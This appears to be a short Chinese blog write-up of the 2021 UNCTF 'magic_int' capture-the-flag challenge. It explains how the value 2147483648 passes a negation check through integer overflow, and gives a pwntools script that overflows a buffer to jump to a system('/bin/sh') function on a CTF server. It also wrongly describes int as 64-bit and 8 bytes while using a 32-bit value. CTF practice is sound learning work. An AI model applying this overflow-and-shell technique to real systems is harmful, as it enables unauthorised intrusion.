[2021UNCTF]magic_int

整型溢出的题目,我见的不多,这次记一下

这里是输入一个负数,进入判断后再给一个符号,要求仍然为负数,则进入溢出,也给了system('/bin/sh')

file

这里提一下补码的计算:取反加一

所以要求补码后仍然为负数,就需要利用后面那个加一来进位溢出。也就是再加一前为全1,取反之前则为全0,再加上首位是符号位,负数需要为1,推出我们要输入的数为首位为1,后面全0。

64位int长度8字节:

二进制:10000000000000000000000000000000
十六进制:80000000
十进制:2147483648

这个数求补之后等于它本身,通过判断。

Exp:

from pwn import*

p=remote('node2.hackingfor.fun',32360)
#p=process('./pwn')
context.log_level='debug'
shell=0x400781
p.send('2147483648')
payload=b'\xaa'*0x78+p64(shell)
p.send(payload)
p.interactive()

发表评论

此站点使用Akismet来减少垃圾评论。了解我们如何处理您的评论数据